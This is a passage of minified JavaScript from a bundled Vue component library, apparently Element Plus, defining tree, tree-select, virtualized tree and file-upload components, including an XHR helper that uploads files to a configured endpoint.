p=A=>{if(!e.filterNodeMethod)throw new Error("[Tree] filterNodeMethod is required when filter");o.value.filter(A)},m=A=>JI(e.nodeKey,A.data),g=A=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in getNodePath");const C=o.value.getNode(A);if(!C)return[];const S=[C.data];let z=C.parent;for(;z&&z!==i.value;)S.push(z.data),z=z.parent;return S.reverse()},v=(A,C)=>o.value.getCheckedNodes(A,C),I=A=>o.value.getCheckedKeys(A),q=()=>{const A=o.value.getCurrentNode();return A?A.data:null},M=()=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in getCurrentKey");const A=q();return A?A[e.nodeKey]:null},E=(A,C)=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in setCheckedNodes");o.value.setCheckedNodes(A,C)},x=(A,C)=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in setCheckedKeys");o.value.setCheckedKeys(A,C)},R=(A,C,S)=>{o.value.setChecked(A,C,S)},K=()=>o.value.getHalfCheckedNodes(),W=()=>o.value.getHalfCheckedKeys(),j=(A,C=!0)=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in setCurrentNode");ky(o,t.emit,()=>o.value.setUserCurrentNode(A,C))},H=(A,C=!0)=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in setCurrentKey");ky(o,t.emit,()=>o.value.setCurrentNodeKey(A,C))},P=A=>o.value.getNode(A),U=A=>{o.value.remove(A)},X=(A,C)=>{o.value.append(A,C)},L=(A,C)=>{o.value.insertBefore(A,C)},h=(A,C)=>{o.value.insertAfter(A,C)},b=(A,C,S)=>{u(C),t.emit("node-expand",A,C,S)},w=(A,C)=>{if(!e.nodeKey)throw new Error("[Tree] nodeKey is required in updateKeyChild");o.value.updateChildren(A,C)};return Ot("RootTree",{ctx:t,props:e,store:o,root:i,currentNode:s,instance:bt()}),Ot(Yi,void 0),{ns:r,store:o,root:i,currentNode:s,dragState:c,el$:a,dropIndicator$:l,isEmpty:f,filter:p,getNodeKey:m,getNodePath:g,getCheckedNodes:v,getCheckedKeys:I,getCurrentNode:q,getCurrentKey:M,setCheckedNodes:E,setCheckedKeys:x,setChecked:R,getHalfCheckedNodes:K,getHalfCheckedKeys:W,setCurrentNode:j,setCurrentKey:H,t:n,getNode:P,remove:U,append:X,insertBefore:L,insertAfter:h,handleNodeExpand:b,updateKeyChildren:w}}});function spe(e,t,n,r,o,i){const s=pt("el-tree-node");return B(),_("div",{ref:"el$",class:F([e.ns.b(),e.ns.is("dragging",!!e.dragState.draggingNode),e.ns.is("drop-not-allow",!e.dragState.allowDrop),e.ns.is("drop-inner",e.dragState.dropType==="inner"),{[e.ns.m("highlight-current")]:e.highlightCurrent}]),role:"tree"},[(B(!0),_(Qe,null,Lt(e.root.childNodes,a=>(B(),ye(s,{key:e.getNodeKey(a),node:a,props:e.props,accordion:e.accordion,"render-after-expand":e.renderAfterExpand,"show-checkbox":e.showCheckbox,"render-content":e.renderContent,onNodeExpand:e.handleNodeExpand},null,8,["node","props","accordion","render-after-expand","show-checkbox","render-content","onNodeExpand"]))),128)),e.isEmpty?(B(),_("div",{key:0,class:F(e.ns.e("empty-block"))},[qe(e.$slots,"empty",{},()=>{var a;return[ne("span",{class:F(e.ns.e("empty-text"))},We((a=e.emptyText)!=null?a:e.t("el.tree.emptyText")),3)]})],2)):pe("v-if",!0),ft(ne("div",{ref:"dropIndicator$",class:F(e.ns.e("drop-indicator"))},null,2),[[_t,e.dragState.showDropIndicator]])],2)}var Uh=Ye(ipe,[["render",spe],["__file","tree.vue"]]);Uh.install=e=>{e.component(Uh.name,Uh)};const Bp=Uh,ape=Bp,lpe=(e,{attrs:t,emit:n},{select:r,tree:o,key:i})=>{const s=Oe("tree-select");return Ce(()=>e.data,()=>{e.filterable&&$e(()=>{var l,u;(u=o.value)==null||u.filter((l=r.value)==null?void 0:l.states.inputValue)})},{flush:"post"}),{...cs(Fn(e),Object.keys(zl.props)),...t,"onUpdate:modelValue":l=>n(St,l),valueKey:i,popperClass:N(()=>{const l=[s.e("popper")];return e.popperClass&&l.push(e.popperClass),l.join(" ")}),filterMethod:(l="")=>{var u;e.filterMethod?e.filterMethod(l):e.remoteMethod?e.remoteMethod(l):(u=o.value)==null||u.filter(l)}}},upe=ie({extends:Lp,setup(e,t){const n=Lp.setup(e,t);delete n.selectOptionClick;const r=bt().proxy;return $e(()=>{n.select.states.cachedOptions.get(r.value)||n.select.onOptionCreate(r)}),n},methods:{selectOptionClick(){this.$el.parentElement.click()}}});function zy(e){return e||e===0}function VI(e){return Array.isArray(e)&&e.length}function Zc(e){return Array.isArray(e)?e:zy(e)?[e]:[]}function Fh(e,t,n,r,o){for(let i=0;i<e.length;i++){const s=e[i];if(t(s,i,e,o))return r?r(s,i,e,o):s;{const a=n(s);if(VI(a)){const l=Fh(a,t,n,r,s);if(l)return l}}}}function Ky(e,t,n,r){for(let o=0;o<e.length;o++){const i=e[o];t(i,o,e,r);const s=n(i);VI(s)&&Ky(s,t,n,i)}}const cpe=(e,{attrs:t,slots:n,emit:r},{select:o,tree:i,key:s})=>{Ce(()=>e.modelValue,()=>{e.showCheckbox&&$e(()=>{const f=i.value;f&&!Yr(f.getCheckedKeys(),Zc(e.modelValue))&&f.setCheckedKeys(Zc(e.modelValue))})},{immediate:!0,deep:!0});const a=N(()=>({value:s.value,label:"label",children:"children",disabled:"disabled",isLeaf:"isLeaf",...e.props})),l=(f,p)=>{var m;const g=a.value[f];return ot(g)?g(p,(m=i.value)==null?void 0:m.getNode(l("value",p))):p[g]},u=Zc(e.modelValue).map(f=>Fh(e.data||[],p=>l("value",p)===f,p=>l("children",p),(p,m,g,v)=>v&&l("value",v))).filter(f=>zy(f)),c=N(()=>{if(!e.renderAfterExpand&&!e.lazy)return[];const f=[];return Ky(e.data.concat(e.cacheData),p=>{const m=l("value",p);f.push({value:m,currentLabel:l("label",p),isDisabled:l("disabled",p)})},p=>l("children",p)),f});return{...cs(Fn(e),Object.keys(Bp.props)),...t,nodeKey:s,expandOnClickNode:N(()=>!e.checkStrictly&&e.expandOnClickNode),defaultExpandedKeys:N(()=>e.defaultExpandedKeys?e.defaultExpandedKeys.concat(u):u),renderContent:(f,{node:p,data:m,store:g})=>f(upe,{value:l("value",m),label:l("label",m),disabled:l("disabled",m)},e.renderContent?()=>e.renderContent(f,{node:p,data:m,store:g}):n.default?()=>n.default({node:p,data:m,store:g}):void 0),filterNodeMethod:(f,p,m)=>e.filterNodeMethod?e.filterNodeMethod(f,p,m):f?new RegExp(K1(f),"i").test(l("label",p)||""):!0,onNodeClick:(f,p,m)=>{var g,v,I,q;if((g=t.onNodeClick)==null||g.call(t,f,p,m),!(e.showCheckbox&&e.checkOnClickNode)){if(!e.showCheckbox&&(e.checkStrictly||p.isLeaf)){if(!l("disabled",f)){const M=(v=o.value)==null?void 0:v.states.options.get(l("value",f));(I=o.value)==null||I.handleOptionSelect(M)}}else e.expandOnClickNode&&m.proxy.handleExpandIconClick();(q=o.value)==null||q.focus()}},onCheck:(f,p)=>{var m;if(!e.showCheckbox)return;const g=l("value",f),v={};Ky([i.value.store.root],E=>v[E.key]=E,E=>E.childNodes);const I=p.checkedKeys,q=e.multiple?Zc(e.modelValue).filter(E=>!(E in v)&&!I.includes(E)):[],M=q.concat(I);if(e.checkStrictly)r(St,e.multiple?M:M.includes(g)?g:void 0);else if(e.multiple)r(St,q.concat(i.value.getCheckedKeys(!0)));else{const E=Fh([f],K=>!VI(l("children",K))&&!l("disabled",K),K=>l("children",K)),x=E?l("value",E):void 0,R=zy(e.modelValue)&&!!Fh([f],K=>l("value",K)===e.modelValue,K=>l("children",K));r(St,x===e.modelValue||R?void 0:x)}$e(()=>{var E;const x=Zc(e.modelValue);i.value.setCheckedKeys(x),(E=t.onCheck)==null||E.call(t,f,{checkedKeys:i.value.getCheckedKeys(),checkedNodes:i.value.getCheckedNodes(),halfCheckedKeys:i.value.getHalfCheckedKeys(),halfCheckedNodes:i.value.getHalfCheckedNodes()})}),(m=o.value)==null||m.focus()},cacheOptions:c}};var dpe=ie({props:{data:{type:Array,default:()=>[]}},setup(e){const t=Fe(vf);return Ce(()=>e.data,()=>{var n;e.data.forEach(o=>{t.states.cachedOptions.has(o.value)||t.states.cachedOptions.set(o.value,o)});const r=((n=t.selectRef)==null?void 0:n.querySelectorAll("input"))||[];Array.from(r).includes(document.activeElement)||t.setSelected()},{flush:"post",immediate:!0}),()=>{}}});const fpe=ie({name:"ElTreeSelect",inheritAttrs:!1,props:{...zl.props,...Bp.props,cacheData:{type:Array,default:()=>[]}},setup(e,t){const{slots:n,expose:r}=t,o=D(),i=D(),s=N(()=>e.nodeKey||e.valueKey||"value"),a=lpe(e,t,{select:o,tree:i,key:s}),{cacheOptions:l,...u}=cpe(e,t,{select:o,tree:i,key:s}),c=$t({});return r(c),mt(()=>{Object.assign(c,{...cs(i.value,["filter","updateKeyChildren","getCheckedNodes","setCheckedNodes","getCheckedKeys","setCheckedKeys","setChecked","getHalfCheckedNodes","getHalfCheckedKeys","getCurrentKey","getCurrentNode","setCurrentKey","setCurrentNode","getNode","remove","append","insertBefore","insertAfter"]),...cs(o.value,["focus","blur"])})}),()=>tt(zl,$t({...a,ref:f=>o.value=f}),{...n,default:()=>[tt(dpe,{data:l.value}),tt(Bp,$t({...u,ref:f=>i.value=f}))]})}});var Hh=Ye(fpe,[["__file","tree-select.vue"]]);Hh.install=e=>{e.component(Hh.name,Hh)};const hpe=Hh,ppe=hpe,UI=Symbol(),mpe={key:-1,level:-1,data:{}};var Uc=(e=>(e.KEY="id",e.LABEL="label",e.CHILDREN="children",e.DISABLED="disabled",e))(Uc||{}),Ry=(e=>(e.ADD="add",e.DELETE="delete",e))(Ry||{});const O4={type:Number,default:26},vpe=Ge({data:{type:he(Array),default:()=>Mn([])},emptyText:{type:String},height:{type:Number,default:200},props:{type:he(Object),default:()=>Mn({children:"children",label:"label",disabled:"disabled",value:"id"})},highlightCurrent:{type:Boolean,default:!1},showCheckbox:{type:Boolean,default:!1},defaultCheckedKeys:{type:he(Array),default:()=>Mn([])},checkStrictly:{type:Boolean,default:!1},defaultExpandedKeys:{type:he(Array),default:()=>Mn([])},indent:{type:Number,default:16},itemSize:O4,icon:{type:cn},expandOnClickNode:{type:Boolean,default:!0},checkOnClickNode:{type:Boolean,default:!1},currentNodeKey:{type:he([String,Number])},accordion:{type:Boolean,default:!1},filterMethod:{type:he(Function)},perfMode:{type:Boolean,default:!0}}),gpe=Ge({node:{type:he(Object),default:()=>Mn(mpe)},expanded:{type:Boolean,default:!1},checked:{type:Boolean,default:!1},indeterminate:{type:Boolean,default:!1},showCheckbox:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},current:{type:Boolean,default:!1},hiddenExpandIcon:{type:Boolean,default:!1},itemSize:O4}),ype=Ge({node:{type:he(Object),required:!0}}),z4="node-click",K4="node-expand",R4="node-collapse",L4="current-change",Z4="check",T4="check-change",N4="node-contextmenu",bpe={[z4]:(e,t,n)=>e&&t&&n,[K4]:(e,t)=>e&&t,[R4]:(e,t)=>e&&t,[L4]:(e,t)=>e&&t,[Z4]:(e,t)=>e&&t,[T4]:(e,t)=>e&&typeof t=="boolean",[N4]:(e,t,n)=>e&&t&&n},Ipe={click:(e,t)=>!!(e&&t),toggle:e=>!!e,check:(e,t)=>e&&typeof t=="boolean"};function qpe(e,t){const n=D(new Set),r=D(new Set),{emit:o}=bt();Ce([()=>t.value,()=>e.defaultCheckedKeys],()=>$e(()=>{M(e.defaultCheckedKeys)}),{immediate:!0});const i=()=>{if(!t.value||!e.showCheckbox||e.checkStrictly)return;const{levelTreeNodeMap:E,maxLevel:x}=t.value,R=n.value,K=new Set;for(let W=x-1;W>=1;--W){const j=E.get(W);j&&j.forEach(H=>{const P=H.children;if(P){let U=!0,X=!1;for(const L of P){const h=L.key;if(R.has(h))X=!0;else if(K.has(h)){U=!1,X=!0;break}else U=!1}U?R.add(H.key):X?(K.add(H.key),R.delete(H.key)):(R.delete(H.key),K.delete(H.key))}})}r.value=K},s=E=>n.value.has(E.key),a=E=>r.value.has(E.key),l=(E,x,R=!0)=>{const K=n.value,W=(j,H)=>{K[H?Ry.ADD:Ry.DELETE](j.key);const P=j.children;!e.checkStrictly&&P&&P.forEach(U=>{U.disabled||W(U,H)})};W(E,x),i(),R&&u(E,x)},u=(E,x)=>{const{checkedNodes:R,checkedKeys:K}=g(),{halfCheckedNodes:W,halfCheckedKeys:j}=v();o(Z4,E.data,{checkedKeys:K,checkedNodes:R,halfCheckedKeys:j,halfCheckedNodes:W}),o(T4,E.data,x)};function c(E=!1){return g(E).checkedKeys}function f(E=!1){return g(E).checkedNodes}function p(){return v().halfCheckedKeys}function m(){return v().halfCheckedNodes}function g(E=!1){const x=[],R=[];if(t!=null&&t.value&&e.showCheckbox){const{treeNodeMap:K}=t.value;n.value.forEach(W=>{const j=K.get(W);j&&(!E||E&&j.isLeaf)&&(R.push(W),x.push(j.data))})}return{checkedKeys:R,checkedNodes:x}}function v(){const E=[],x=[];if(t!=null&&t.value&&e.showCheckbox){const{treeNodeMap:R}=t.value;r.value.forEach(K=>{const W=R.get(K);W&&(x.push(K),E.push(W.data))})}return{halfCheckedNodes:E,halfCheckedKeys:x}}function I(E){n.value.clear(),r.value.clear(),$e(()=>{M(E)})}function q(E,x){if(t!=null&&t.value&&e.showCheckbox){const R=t.value.treeNodeMap.get(E);R&&l(R,x,!1)}}function M(E){if(t!=null&&t.value){const{treeNodeMap:x}=t.value;if(e.showCheckbox&&x&&E)for(const R of E){const K=x.get(R);K&&!s(K)&&l(K,!0,!1)}}}return{updateCheckedKeys:i,toggleCheckbox:l,isChecked:s,isIndeterminate:a,getCheckedKeys:c,getCheckedNodes:f,getHalfCheckedKeys:p,getHalfCheckedNodes:m,setChecked:q,setCheckedKeys:I}}function wpe(e,t){const n=D(new Set([])),r=D(new Set([])),o=N(()=>ot(e.filterMethod));function i(a){var l;if(!o.value)return;const u=new Set,c=r.value,f=n.value,p=[],m=((l=t.value)==null?void 0:l.treeNodes)||[],g=e.filterMethod;f.clear();function v(I){I.forEach(q=>{p.push(q),g!=null&&g(a,q.data)?p.forEach(E=>{u.add(E.key)}):q.isLeaf&&f.add(q.key);const M=q.children;if(M&&v(M),!q.isLeaf){if(!u.has(q.key))f.add(q.key);else if(M){let E=!0;for(const x of M)if(!f.has(x.key)){E=!1;break}E?c.add(q.key):c.delete(q.key)}}p.pop()})}return v(m),u}function s(a){return r.value.has(a.key)}return{hiddenExpandIconKeySet:r,hiddenNodeKeySet:n,doFilter:i,isForceHiddenExpandIcon:s}}function Spe(e,t){const n=D(new Set(e.defaultExpandedKeys)),r=D(),o=ln();Ce(()=>e.currentNodeKey,ce=>{r.value=ce},{immediate:!0}),Ce(()=>e.data,ce=>{re(ce)},{immediate:!0});const{isIndeterminate:i,isChecked:s,toggleCheckbox:a,getCheckedKeys:l,getCheckedNodes:u,getHalfCheckedKeys:c,getHalfCheckedNodes:f,setChecked:p,setCheckedKeys:m}=qpe(e,o),{doFilter:g,hiddenNodeKeySet:v,isForceHiddenExpandIcon:I}=wpe(e,o),q=N(()=>{var ce;return((ce=e.props)==null?void 0:ce.value)||Uc.KEY}),M=N(()=>{var ce;return((ce=e.props)==null?void 0:ce.children)||Uc.CHILDREN}),E=N(()=>{var ce;return((ce=e.props)==null?void 0:ce.disabled)||Uc.DISABLED}),x=N(()=>{var ce;return((ce=e.props)==null?void 0:ce.label)||Uc.LABEL}),R=N(()=>{const ce=n.value,we=v.value,Ie=[],ge=o.value&&o.value.treeNodes||[];function Me(){const se=[];for(let ue=ge.length-1;ue>=0;--ue)se.push(ge[ue]);for(;se.length;){const ue=se.pop();if(ue&&(we.has(ue.key)||Ie.push(ue),ce.has(ue.key))){const ve=ue.children;if(ve){const ke=ve.length;for(let me=ke-1;me>=0;--me)se.push(ve[me])}}}}return Me(),Ie}),K=N(()=>R.value.length>0);function W(ce){const we=new Map,Ie=new Map;let ge=1;function Me(ue,ve=1,ke=void 0){var me;const Ee=[];for(const Le of ue){const Ae=P(Le),be={level:ve,key:Ae,data:Le};be.label=X(Le),be.parent=ke;const xe=H(Le);be.disabled=U(Le),be.isLeaf=!xe||xe.length===0,xe&&xe.length&&(be.children=Me(xe,ve+1,be)),Ee.push(be),we.set(Ae,be),Ie.has(ve)||Ie.set(ve,[]),(me=Ie.get(ve))==null||me.push(be)}return ve>ge&&(ge=ve),Ee}const se=Me(ce);return{treeNodeMap:we,levelTreeNodeMap:Ie,maxLevel:ge,treeNodes:se}}function j(ce){const we=g(ce);we&&(n.value=we)}function H(ce){return ce[M.value]}function P(ce){return ce?ce[q.value]:""}function U(ce){return ce[E.value]}function X(ce){return ce[x.value]}function L(ce){n.value.has(ce.key)?S(ce):C(ce)}function h(ce){n.value=new Set(ce)}function b(ce,we){t(z4,ce.data,ce,we),w(ce),e.expandOnClickNode&&L(ce),e.showCheckbox&&e.checkOnClickNode&&!ce.disabled&&a(ce,!s(ce),!0)}function w(ce){y(ce)||(r.value=ce.key,t(L4,ce.data,ce))}function A(ce,we){a(ce,we)}function C(ce){const we=n.value;if(o.value&&e.accordion){const{treeNodeMap:Ie}=o.value;we.forEach(ge=>{const Me=Ie.get(ge);ce&&ce.level===(Me==null?void 0:Me.level)&&we.delete(ge)})}we.add(ce.key),t(K4,ce.data,ce)}function S(ce){n.value.delete(ce.key),t(R4,ce.data,ce)}function z(ce){return n.value.has(ce.key)}function k(ce){return!!ce.disabled}function y(ce){const we=r.value;return we!==void 0&&we===ce.key}function T(){var ce,we;if(r.value)return(we=(ce=o.value)==null?void 0:ce.treeNodeMap.get(r.value))==null?void 0:we.data}function te(){return r.value}function le(ce){r.value=ce}function re(ce){$e(()=>o.value=W(ce))}function de(ce){var we;const Ie=At(ce)?P(ce):ce;return(we=o.value)==null?void 0:we.treeNodeMap.get(Ie)}return{tree:o,flattenTree:R,isNotEmpty:K,getKey:P,getChildren:H,toggleExpand:L,toggleCheckbox:a,isExpanded:z,isChecked:s,isIndeterminate:i,isDisabled:k,isCurrent:y,isForceHiddenExpandIcon:I,handleNodeClick:b,handleNodeCheck:A,getCurrentNode:T,getCurrentKey:te,setCurrentKey:le,getCheckedKeys:l,getCheckedNodes:u,getHalfCheckedKeys:c,getHalfCheckedNodes:f,setChecked:p,setCheckedKeys:m,filter:j,setData:re,getNode:de,expandNode:C,collapseNode:S,setExpandedKeys:h}}var Epe=ie({name:"ElTreeNodeContent",props:ype,setup(e){const t=Fe(UI),n=Oe("tree");return()=>{const r=e.node,{data:o}=r;return t!=null&&t.ctx.slots.default?t.ctx.slots.default({node:r,data:o}):tt("span",{class:n.be("node","label")},[r==null?void 0:r.label])}}});const Ape=["aria-expanded","aria-disabled","aria-checked","data-key","onClick"],Mpe=ie({name:"ElTreeNode"}),Cpe=ie({...Mpe,props:gpe,emits:Ipe,setup(e,{emit:t}){const n=e,r=Fe(UI),o=Oe("tree"),i=N(()=>{var f;return(f=r==null?void 0:r.props.indent)!=null?f:16}),s=N(()=>{var f;return(f=r==null?void 0:r.props.icon)!=null?f:H3}),a=f=>{t("click",n.node,f)},l=()=>{t("toggle",n.node)},u=f=>{t("check",n.node,f)},c=f=>{var p,m,g,v;(g=(m=(p=r==null?void 0:r.instance)==null?void 0:p.vnode)==null?void 0:m.props)!=null&&g.onNodeContextmenu&&(f.stopPropagation(),f.preventDefault()),r==null||r.ctx.emit(N4,f,(v=n.node)==null?void 0:v.data,n.node)};return(f,p)=>{var m,g,v;return B(),_("div",{ref:"node$",class:F([d(o).b("node"),d(o).is("expanded",f.expanded),d(o).is("current",f.current),d(o).is("focusable",!f.disabled),d(o).is("checked",!f.disabled&&f.checked)]),role:"treeitem",tabindex:"-1","aria-expanded":f.expanded,"aria-disabled":f.disabled,"aria-checked":f.checked,"data-key":(m=f.node)==null?void 0:m.key,onClick:rt(a,["stop"]),onContextmenu:c},[ne("div",{class:F(d(o).be("node","content")),style:De({paddingLeft:`${(f.node.level-1)*d(i)}px`,height:f.itemSize+"px"})},[d(s)?(B(),ye(d(Pe),{key:0,class:F([d(o).is("leaf",!!((g=f.node)!=null&&g.isLeaf)),d(o).is("hidden",f.hiddenExpandIcon),{expanded:!((v=f.node)!=null&&v.isLeaf)&&f.expanded},d(o).be("node","expand-icon")]),onClick:rt(l,["stop"])},{default:fe(()=>[(B(),ye(Et(d(s))))]),_:1},8,["class","onClick"])):pe("v-if",!0),f.showCheckbox?(B(),ye(d(Do),{key:1,"model-value":f.checked,indeterminate:f.indeterminate,disabled:f.disabled,onChange:u,onClick:p[0]||(p[0]=rt(()=>{},["stop"]))},null,8,["model-value","indeterminate","disabled"])):pe("v-if",!0),ae(d(Epe),{node:f.node},null,8,["node"])],6)],42,Ape)}}});var kpe=Ye(Cpe,[["__file","tree-node.vue"]]);const xpe=ie({name:"ElTreeV2"}),Ope=ie({...xpe,props:vpe,emits:bpe,setup(e,{expose:t,emit:n}){const r=e,o=pr(),i=N(()=>r.itemSize);Ot(UI,{ctx:{emit:n,slots:o},props:r,instance:bt()}),Ot(Yi,void 0);const{t:s}=Vt(),a=Oe("tree"),{flattenTree:l,isNotEmpty:u,toggleExpand:c,isExpanded:f,isIndeterminate:p,isChecked:m,isDisabled:g,isCurrent:v,isForceHiddenExpandIcon:I,handleNodeClick:q,handleNodeCheck:M,toggleCheckbox:E,getCurrentNode:x,getCurrentKey:R,setCurrentKey:K,getCheckedKeys:W,getCheckedNodes:j,getHalfCheckedKeys:H,getHalfCheckedNodes:P,setChecked:U,setCheckedKeys:X,filter:L,setData:h,getNode:b,expandNode:w,collapseNode:A,setExpandedKeys:C}=Spe(r,n);return t({toggleCheckbox:E,getCurrentNode:x,getCurrentKey:R,setCurrentKey:K,getCheckedKeys:W,getCheckedNodes:j,getHalfCheckedKeys:H,getHalfCheckedNodes:P,setChecked:U,setCheckedKeys:X,filter:L,setData:h,getNode:b,expandNode:w,collapseNode:A,setExpandedKeys:C}),(S,z)=>{var k;return B(),_("div",{class:F([d(a).b(),{[d(a).m("highlight-current")]:S.highlightCurrent}]),role:"tree"},[d(u)?(B(),ye(d(Bx),{key:0,"class-name":d(a).b("virtual-list"),data:d(l),total:d(l).length,height:S.height,"item-size":d(i),"perf-mode":S.perfMode},{default:fe(({data:y,index:T,style:te})=>[(B(),ye(kpe,{key:y[T].key,style:De(te),node:y[T],expanded:d(f)(y[T]),"show-checkbox":S.showCheckbox,checked:d(m)(y[T]),indeterminate:d(p)(y[T]),"item-size":d(i),disabled:d(g)(y[T]),current:d(v)(y[T]),"hidden-expand-icon":d(I)(y[T]),onClick:d(q),onToggle:d(c),onCheck:d(M)},null,8,["style","node","expanded","show-checkbox","checked","indeterminate","item-size","disabled","current","hidden-expand-icon","onClick","onToggle","onCheck"]))]),_:1},8,["class-name","data","total","height","item-size","perf-mode"])):(B(),_("div",{key:1,class:F(d(a).e("empty-block"))},[ne("span",{class:F(d(a).e("empty-text"))},We((k=S.emptyText)!=null?k:d(s)("el.tree.emptyText")),3)],2))],2)}}});var zpe=Ye(Ope,[["__file","tree.vue"]]);const Kpe=It(zpe),j4=Symbol("uploadContextKey"),Rpe="ElUpload";class Lpe extends Error{constructor(t,n,r,o){super(t),this.name="UploadAjaxError",this.status=n,this.method=r,this.url=o}}function L7(e,t,n){let r;return n.response?r=`${n.response.error||n.response}`:n.responseText?r=`${n.responseText}`:r=`fail to ${t.method} ${e} ${n.status}`,new Lpe(r,n.status,t.method,e)}function Zpe(e){const t=e.responseText||e.response;if(!t)return t;try{return JSON.parse(t)}catch{return t}}const Tpe=e=>{typeof XMLHttpRequest>"u"&&tr(Rpe,"XMLHttpRequest is undefined");const t=new XMLHttpRequest,n=e.action;t.upload&&t.upload.addEventListener("progress",i=>{const s=i;s.percent=i.total>0?i.loaded/i.total*100:0,e.onProgress(s)});const r=new FormData;if(e.data)for(const[i,s]of Object.entries(e.data))Ve(s)&&s.length?r.append(i,...s):r.append(i,s);r.append(e.filename,e.file,e.file.name),t.addEventListener("error",()=>{e.onError(L7(n,e,t))}),t.addEventListener("load",()=>{if(t.status<200||t.status>=300)return e.onError(L7(n,e,t));e.onSuccess(Zpe(t))}),t.open(e.method,n,!0),e.withCredentials&&"withCredentials"in t&&(t.withCredentials=!0);const o=e.headers||{};if(o instanceof Headers)o.forEach((i,s)=>t.setRequestHeader(s,i));else for(const[i,s]of Object.entries(o))$n(s)||t.setRequestHeader(i,String(s));return t.send(r),t},W4=["text","picture","picture-card"];let Npe=1;const Ly=()=>Date.now()+Npe++,G4=Ge({action:{type:String,default:"#"},headers:{type:he(Object)},method:{type:String,default:"post"},data:{type:he([Object,Function,Promise]),default:()=>Mn({})},multiple:{type:Boolean,default:!1},name:{type:String,default:"file"},drag:{type:Boolean,default:!1},withCredentials:Boolean,showFileList:{type:Boolean,default:!0},accept:{type:String,default:""},fileList:{type:he(Array),default:()=>Mn([])},autoUpload:{type:Boolean,default:!0},listType:{type:String,values:W4,default:"text"},httpRequest:{type:he(Function),default:Tpe},disabled:Boolean,limit:Number}),jpe=Ge({...G4,beforeUpload:{type:he(Function),default:on},beforeRemove:{type:he(Function)},onRemove:{type:he(Function),default:on},onChange:{type:he(Function),default:on},onPreview:{type:he(Function),default:on},onSuccess:{type:he(Function),default:on},onProgress:{type:he(Function),default:on},onError:{type:he(Function),default:on},onExceed:{type:he(Function),default:on},crossorigin:{type:he(String)}}),Wpe=Ge({files:{type:he(Array),default:()=>Mn([])},disabled:{type:Boolean,default:!1},handlePreview:{type:he(Function),default:on},listType:{type:String,values:W4,default:"text"},crossorigin:{type:he(String)}}),Gpe={remove:e=>!!e},Ype=["onKeydown"],Bpe=["src","crossorigin"],Jpe=["onClick"],Vpe=["title"],Upe=["onClick"],Fpe=["onClick"],Hpe=ie({name:"ElUploadList"}),Ppe=ie({...Hpe,props:Wpe,emits:Gpe,setup(e,{emit:t}){const n=e,{t:r}=Vt(),o=Oe("upload"),i=Oe("icon"),s=Oe("list"),a=fo(),l=D(!1),u=N(()=>[o.b("list"),o.bm("list",n.listType),o.is("disabled",n.disabled)]),c=f=>{t("remove",f)};return(f,p)=>(B(),ye(TA,{tag:"ul",class:F(d(u)),name:d(s).b()},{default:fe(()=>[(B(!0),_(Qe,null,Lt(f.files,m=>(B(),_("li",{key:m.uid||m.name,class:F([d(o).be("list","item"),d(o).is(m.status),{focusing:l.value}]),tabindex:"0",onKeydown:un(g=>!d(a)&&c(m),["delete"]),onFocus:p[0]||(p[0]=g=>l.value=!0),onBlur:p[1]||(p[1]=g=>l.value=!1),onClick:p[2]||(p[2]=g=>l.value=!1)},[qe(f.$slots,"default",{file:m},()=>[f.listType==="picture"||m.status!=="uploading"&&f.listType==="picture-card"?(B(),_("img",{key:0,class:F(d(o).be("list","item-thumbnail")),src:m.url,crossorigin:f.crossorigin,alt:""},null,10,Bpe)):pe("v-if",!0),m.status==="uploading"||f.listType!=="picture-card"?(B(),_("div",{key:1,class:F(d(o).be("list","item-info"))},[ne("a",{class:F(d(o).be("list","item-name")),onClick:rt(g=>f.handlePreview(m),["prevent"])},[ae(d(Pe),{class:F(d(i).m("document"))},{default:fe(()=>[ae(d(qF))]),_:1},8,["class"]),ne("span",{class:F(d(o).be("list","item-file-name")),title:m.name},We(m.name),11,Vpe)],10,Jpe),m.status==="uploading"?(B(),ye(d(Rx),{key:0,type:f.listType==="picture-card"?"circle":"line","stroke-width":f.listType==="picture-card"?6:2,percentage:Number(m.percentage),style:De(f.listType==="picture-card"?"":"margin-top: 0.5rem")},null,8,["type","stroke-width","percentage","style"])):pe("v-if",!0)],2)):pe("v-if",!0),ne("label",{class:F(d(o).be("list","item-status-label"))},[f.listType==="text"?(B(),ye(d(Pe),{key:0,class:F([d(i).m("upload-success"),d(i).m("circle-check")])},{default:fe(()=>[ae(d(Z1))]),_:1},8,["class"])):["picture-card","picture"].includes(f.listType)?(B(),ye(d(Pe),{key:1,class:F([d(i).m("upload-success"),d(i).m("check")])},{default:fe(()=>[ae(d(uf))]),_:1},8,["class"])):pe("v-if",!0)],2),d(a)?pe("v-if",!0):(B(),ye(d(Pe),{key:2,class:F(d(i).m("close")),onClick:g=>c(m)},{default:fe(()=>[ae(d(fi))]),_:2},1032,["class","onClick"])),pe(" Due to close btn only appears when li gets focused disappears after li gets blurred, thus keyboard navigation can never reach close btn"),pe(" This is a bug which needs to be fixed "),pe(" TODO: Fix the incorrect navigation interaction "),d(a)?pe("v-if",!0):(B(),_("i",{key:3,class:F(d(i).m("close-tip"))},We(d(r)("el.upload.deleteTip")),3)),f.listType==="picture-card"?(B(),_("span",{key:4,class:F(d(o).be("list","item-actions"))},[ne("span",{class:F(d(o).be("list","item-preview")),onClick:g=>f.handlePreview(m)},[ae(d(Pe),{class:F(d(i).m("zoom-in"))},{default:fe(()=>[ae(d(Q3))]),_:1},8,["class"])],10,Upe),d(a)?pe("v-if",!0):(B(),_("span",{key:0,class:F(d(o).be("list","item-delete")),onClick:g=>c(m)},[ae(d(Pe),{class:F(d(i).m("delete"))},{default:fe(()=>[ae(d(bF))]),_:1},8,["class"])],10,Fpe))],2)):pe("v-if",!0)])],42,Ype))),128)),qe(f.$slots,"append")]),_:3},8,["class","name"]))}});var Z7=Ye(Ppe,[["__file","upload-list.vue"]]);const Dpe=Ge({disabled:{type:Boolean,default:!1}}),Xpe={file:e=>Ve(e)},Qpe=["onDrop","onDragover"],Y4="ElUploadDrag",_pe=ie({name:Y4}),$pe=ie({..._pe,props:Dpe,emits:Xpe,setup(e,{emit:t}){Fe(j4)||tr(Y4,"usage: <el-upload><el-upload-dragger /></el-upload>");const 